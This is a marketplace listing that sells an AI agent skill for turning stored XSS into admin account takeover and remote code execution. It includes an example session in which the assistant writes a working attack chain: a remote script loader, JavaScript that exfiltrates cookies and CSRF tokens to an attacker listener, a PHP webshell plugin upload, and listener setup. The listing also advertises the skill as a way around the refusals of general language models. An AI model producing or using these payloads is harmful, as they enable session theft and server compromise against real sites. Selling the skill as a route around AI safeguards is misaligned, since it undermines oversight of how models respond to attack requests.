Works with the AI Agents you already use

    Claude CodeClaude CodeCursorCursorCodex CLICodex CLIDeepSeekDeepSeekMuseMuse+22 more

    stored xss admin bot

    1

    Convert stored XSS into admin account takeover and RCE by exploiting automated reviewer bots.

    $5

    Secure checkout via Stripe

    Money-back guarantee

    Converts to your local currency at checkout

    Security scanned
    stored xss admin bot

    stored xss admin bot

    Example session with this skill installed

    I found a stored XSS in a support ticket system. An admin bot views every ticket. I need a payload to steal the admin's session and escalate to RCE.

    • Read your context and instructions
    • Compiled the stored xss admin
    • Generated the UI component

    I have analyzed the support ticket sink. Since admin bots often use headless browsers with short execution windows, we will use a compact loader to pull a more complex script from your listener. This minimizes the footprint in the ticket database and ensures the full logic executes.

    XSS to RCE Chain

    1. The Stored Payload

    Inject this into the ticket description field. It uses a compact script tag to load your primary exploit from a remote server. Replace YOUR_IP with your listener address.

    <script src="http://YOUR_IP/x.js"></script>
    

    2. The Exploit Script (x.js)

    Host this file on your listener. This script performs three actions: it exfiltrates the session_id and csrf_token, then attempts to use the admin's privileges to upload a PHP webshell via the site's plugin/theme editor.

    // Sync XHR is used to prevent the bot from closing the page before the request completes
    function exfil(data) {
        var xhr = new XMLHttpRequest();
        xhr.open("GET", "http://YOUR_IP/log?d=" + btoa(document.cookie + "|" + data), false);
        xhr.send();
    }
    
    try {
        // 1. Grab CSRF token from a common meta tag or hidden input
        var token = document.querySelector('input[name="csrf_token"]').value;
        
        // 2. Attempt RCE via Plugin Upload (Example for WordPress-style architectures)
        var formData = new FormData();
        formData.append("pluginzip", new Blob(['<?php system($_GET["cmd"]); ?>'], {type: 'application/zip'}), "shell.zip");
        formData.append("action", "upload-plugin");
        formData.append("_wpnonce", token);
    
        var uploadXhr = new XMLHttpRequest();
        uploadXhr.open("POST", "/wp-admin/update.php?action=upload-plugin", false);
        uploadXhr.send(formData);
    
        exfil("Exploit sent with token: " + token);
    } catch (e) {
        exfil("Error: " + e.message);
    }
    

    3. Listener Setup

    Run this on your attacker machine to serve the payload and catch the exfiltrated cookies.

    python3 -m http.server 80
    

    Next steps

    1. Monitor your server logs for the incoming GET request containing the Base64 encoded cookies.
    2. Verify if the shell.zip was successfully processed by checking the /wp-content/plugins/ directory.
    3. If the bot queue is slow, wait at least 2 minutes between payload attempts to avoid self-dos.

    shell.zip

    TSX · React component

    Generated

    Example file from a real run - the skill writes it into your workspace.

    Connects securely to your tools. The creator never sees your data.

    About this skill

    The problem

    Finding a stored XSS vulnerability is only half the battle. Converting that bug into a high-impact exploit like Account Takeover (ATO) or Remote Code Execution (RCE) requires bypassing bot sandboxes, handling HTML entity encoding, and managing slow-moving admin review queues.

    What it does

    • Identifies high-value sinks in admin-facing fields like summaries, transcripts, and rich-text previews.
    • Engineers context-specific payloads for attribute, innerHTML, and script tag injections.
    • Provides strategies for exfiltrating session cookies and CSRF nonces via synchronous XHR to avoid bot timeout.
    • Maps privilege escalation paths from admin session access to full RCE via file uploads or config editors.

    Why this beats prompting it yourself

    Generic LLMs often refuse to generate exploit code or provide surface-level payloads that fail in headless browser environments. This skill provides hard-won constraints for bot queue discipline and payload durability that prevent you from burning your one chance at a callback.

    Use cases

    • Executing cross-site scripting attacks against headless admin bots in bug bounty programs.
    • Chaining a low-impact stored XSS into a full system compromise during authorized pentests.
    • Testing the efficacy of markdown renderers and rich-text sanitizers against advanced injection patterns.

    Known limitations

    For authorized security testing only. Requires an external listener (e.g., python http.server or Burp Collaborator) to receive exfiltrated data.

    Find more skills like this on the Claude Skills Marketplace, the Codex Skills Marketplace and the Gemini Skills Marketplace, or browse Claude Skills for Security.

    Requires an external listener to capture callbacks. Focuses on headless browser bot environments. Authorized security engagements only.

    How to use

    1. 1

      Connect your agent to the Agensi MCP

      Copy the prompt and paste it into Claude, ChatGPT, Cursor or any agent that supports MCP. It sets up the connection for you. Manual setup

    2. 2

      Sign in to Agensi

      Your agent shows a sign-in link. Sign in and click Allow.

    3. 3

      Ask for what you need

      Your agent loads this skill and uses it on your task. It always asks before buying a skill.

    Reviews

    No reviews yet

    Be one of the first to try it. Every listed skill goes through the trust checks below.

    Security scanned

    Checked by our 8-point scan before listing

    Fresh listing

    Recently published to Agensi

    Money-back guarantee

    Doesn't do what its page promises? You get your money back.

    Trust & safety

    Security scan

    Security scan passed 8 days ago

    Permissions

    Terminal / Shell
    Network Access
    Listed2 months ago
    Updated8 days ago

    What's inside

    Frequently Asked Questions

    This skill automates the process of crafting advanced JavaScript payloads specifically designed to bypass headless browser sandboxes and escalate a simple stored XSS into a full admin account takeover or RCE.

    The skill is compatible with all major AI agents that support code generation and security workflows, provided they allow for advanced scripting tasks.

    You will receive specialized injection templates, exfiltration strategies for bot-limited environments, and step-by-step guidance on chaining admin access to RCE.

    Yes, you will need a listener like Burp Collaborator or a custom VPS to receive callbacks, as the skill focuses on payload engineering rather than hosting infrastructure.

    Unlike generic models, this skill is optimized for "one-shot" success, utilizing techniques that prevent payload breakage in the specific headless environments used by admin reviewer bots.

    New in Security